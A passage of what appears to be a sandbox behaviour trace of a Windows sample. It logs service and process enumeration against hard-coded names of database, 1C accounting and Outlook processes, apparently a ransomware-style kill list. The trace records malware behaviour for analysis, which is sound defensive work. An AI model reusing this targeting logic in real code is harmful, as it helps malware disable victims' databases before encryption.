dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0180.710] GetLastError () returned 0xea [0180.710] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0180.710] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0180.711] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0180.711] lstrlenW (lpString="Appinfo") returned 7 [0180.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0180.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0180.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0180.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0180.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0180.711] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0180.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.712] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0180.712] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0180.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0180.712] lstrlenW (lpString="AudioSrv") returned 8 [0180.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0180.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0180.712] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0180.712] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0180.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0180.712] lstrlenW (lpString="BFE") returned 3 [0180.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0180.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0180.712] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0180.712] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0180.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0180.712] lstrlenW (lpString="CryptSvc") returned 8 [0180.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0180.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0180.712] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0180.712] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0180.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0180.712] lstrlenW (lpString="CscService") returned 10 [0180.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0180.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0180.712] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0180.712] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0180.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0180.712] lstrlenW (lpString="DcomLaunch") returned 10 [0180.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.713] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0180.713] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0180.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0180.713] lstrlenW (lpString="Dhcp") returned 4 [0180.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0180.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0180.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0180.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0180.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0180.713] lstrlenW (lpString="Dnscache") returned 8 [0180.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0180.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0180.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0180.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0180.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0180.713] lstrlenW (lpString="DPS") returned 3 [0180.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0180.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0180.713] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0180.713] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0180.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0180.713] lstrlenW (lpString="eventlog") returned 8 [0180.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0180.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0180.713] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0180.713] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0180.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0180.713] lstrlenW (lpString="EventSystem") returned 11 [0180.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0180.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0180.713] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0180.714] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0180.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0180.714] lstrlenW (lpString="gpsvc") returned 5 [0180.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0180.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0180.714] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0180.714] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0180.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0180.714] lstrlenW (lpString="iphlpsvc") returned 8 [0180.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.714] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0180.714] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0180.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0180.714] lstrlenW (lpString="LanmanServer") returned 12 [0180.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0180.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0180.714] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0180.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0180.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0180.714] lstrlenW (lpString="LanmanWorkstation") returned 17 [0180.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.714] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0180.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0180.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0180.714] lstrlenW (lpString="lmhosts") returned 7 [0180.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0180.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0180.714] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0180.714] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0180.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0180.715] lstrlenW (lpString="MMCSS") returned 5 [0180.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0180.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0180.715] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0180.715] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0180.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0180.715] lstrlenW (lpString="MpsSvc") returned 6 [0180.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0180.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0180.715] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0180.715] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0180.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0180.715] lstrlenW (lpString="Netman") returned 6 [0180.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0180.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0180.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0180.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0180.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0180.715] lstrlenW (lpString="netprofm") returned 8 [0180.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0180.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0180.715] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0180.715] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0180.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0180.715] lstrlenW (lpString="NlaSvc") returned 6 [0180.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0180.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0180.716] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0180.716] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0180.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0180.716] lstrlenW (lpString="nsi") returned 3 [0180.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0180.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0180.716] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0180.716] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0180.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0180.716] lstrlenW (lpString="PcaSvc") returned 6 [0180.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0180.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0180.716] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0180.716] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0180.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0180.716] lstrlenW (lpString="PlugPlay") returned 8 [0180.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0180.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0180.716] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0180.716] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0180.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0180.716] lstrlenW (lpString="Power") returned 5 [0180.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0180.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0180.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0180.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0180.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0180.716] lstrlenW (lpString="ProfSvc") returned 7 [0180.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0180.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0180.717] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0180.717] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0180.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0180.717] lstrlenW (lpString="RpcEptMapper") returned 12 [0180.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.717] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0180.717] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0180.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0180.717] lstrlenW (lpString="RpcSs") returned 5 [0180.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0180.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0180.717] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0180.717] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0180.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0180.717] lstrlenW (lpString="SamSs") returned 5 [0180.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0180.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0180.717] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0180.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0180.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0180.717] lstrlenW (lpString="Schedule") returned 8 [0180.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0180.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0180.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0180.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0180.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0180.717] lstrlenW (lpString="SENS") returned 4 [0180.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0180.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0180.717] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0180.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0180.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0180.718] lstrlenW (lpString="ShellHWDetection") returned 16 [0180.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.718] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0180.718] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0180.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0180.718] lstrlenW (lpString="Spooler") returned 7 [0180.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0180.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0180.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0180.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0180.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0180.718] lstrlenW (lpString="SysMain") returned 7 [0180.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0180.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0180.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0180.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0180.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0180.718] lstrlenW (lpString="Themes") returned 6 [0180.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0180.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0180.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0180.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0180.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0180.718] lstrlenW (lpString="TrkWks") returned 6 [0180.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0180.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0180.718] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0180.718] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0180.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0180.718] lstrlenW (lpString="UxSms") returned 5 [0180.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0180.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0180.719] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0180.719] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0180.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0180.719] lstrlenW (lpString="WdiServiceHost") returned 14 [0180.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0180.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0180.719] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0180.719] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0180.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0180.719] lstrlenW (lpString="WdiSystemHost") returned 13 [0180.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0180.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0180.719] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0180.719] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0180.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0180.719] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0180.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0180.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0180.719] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0180.719] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0180.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0180.719] lstrlenW (lpString="Winmgmt") returned 7 [0180.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0180.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0180.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0180.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0180.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0180.720] lstrlenW (lpString="WPDBusEnum") returned 10 [0180.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0180.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0180.720] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0180.720] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0180.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0180.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0180.720] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0 [0180.722] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.722] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0180.722] lstrlenW (lpString="System") returned 6 [0180.722] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0180.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0180.722] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0180.722] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0180.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0180.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0180.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0180.722] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0180.723] lstrlenW (lpString="smss.exe") returned 8 [0180.723] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0180.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0180.723] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0180.723] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0180.723] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0180.723] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0180.723] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0180.723] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.723] lstrlenW (lpString="csrss.exe") returned 9 [0180.723] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0180.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0180.723] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0180.723] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0180.724] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0180.724] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0180.724] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0180.724] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0180.724] lstrlenW (lpString="wininit.exe") returned 11 [0180.724] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0180.724] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0180.724] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0180.724] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0180.724] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0180.724] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0180.724] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0180.724] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.724] lstrlenW (lpString="csrss.exe") returned 9 [0180.725] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0180.725] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0180.725] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0180.725] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0180.725] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0180.725] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0180.725] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0180.725] lstrlenW 